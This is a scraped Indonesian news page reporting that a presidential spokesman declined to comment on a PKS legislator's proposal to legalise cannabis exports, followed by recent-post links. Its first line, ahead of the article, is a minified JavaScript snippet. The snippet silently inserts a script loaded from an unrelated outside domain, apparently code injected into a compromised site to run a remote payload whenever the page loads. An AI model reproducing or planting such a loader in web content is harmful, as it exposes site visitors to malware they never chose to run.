(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Istana Bakal Kaji Usulan PKS soal Legalisasi Ekspor Ganja


KANALKALIMANTAN.COM, JAKARTA – Staf Khusus Presiden Bidang Komunikasi Fadjroel Rachman enggan mengomentari usulan anggota Komisi VI DPR RI dari Fraksi PKS Rafli Kande agar ganja dilegalisasi sebagai komoditas ekspor.

Fadjroel mengakui belum mempelajari maksud usulan Rafli Kande soal ekspor ganja. Karenanya, ia belum mau memberikan komentar secara substansial, yakni menerima atau menolak.

“Saya belum mempelajari apa maksud dan tujuannya ataupun bagaimana kerangkanya,” kata Fadjroel di kompleks Istana Kepresidenan, Jakarta, Jumat (31/1/2020).

Fadjroel mengatakan, perlu ada kajian lebih dalam sebelum menentukan apakah pemerintah menyetujui atau menolak usulan tersebut.

“Saya tidak ingin, kami tidak ingin memberikan pendapat langsung, sebelum mencoba mempelajarinya secara lebih,” kata Fadjroel.

Rafli, saat rapat kerja Komisi VI dengan Menteri Perdagangan Agus Suparmanto di gedung DPR RI, Kamis (30/1), mengusulkan ganja dilegalisasi sebagai komoditas ekspor.

Rafli menilai, pelarangan ganja karena memunyai kandungan berbahaya dan masuk narkotika hanya konspirasi global.

Anggota DPR asal Aceh ini bahkan menyebut, pelaku penyalahgunaan ganja yang kini mendekam di jeruji besi tidak sebanyak penyalahgunaan jenis narkotika lain.

“Jadi ganja ini ini adalah konspirasi global, dibuat ganja nomor satu bahayanya. Narkotika yang lain dibuat nomor sekian-sekian. Padahal yang paling sewot dan gila sekarang masuk penjara itu bukan orang ganja. Orang yang pakai sabu-sabu bunuh neneknya, pakai ekstasi, segala macam,” kata Rafli.

“Jadi pak, ganja ini bagaimana kalau dijadikan komoditas ekspor yang bagus. Jadi kita buat lokasinya. Saya bisa kasih nanti daerahnya di mana. Setuju eggak?”

Namun, Rafli juga menyadari usulnya tersebut tidak mungkin bisa langsung diterapkan. Sebab, dalam aturan perundang-undangan RI, ganja masih digolongkan dalam jenis narkotika sehingga dilarang. (suara.com)

Reporter : suara.com
Editor : kk


Al Ghifari

Recent Posts

Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang

KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More

1 jam ago

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

15 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

15 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

16 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

17 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

19 jam ago

This website uses cookies.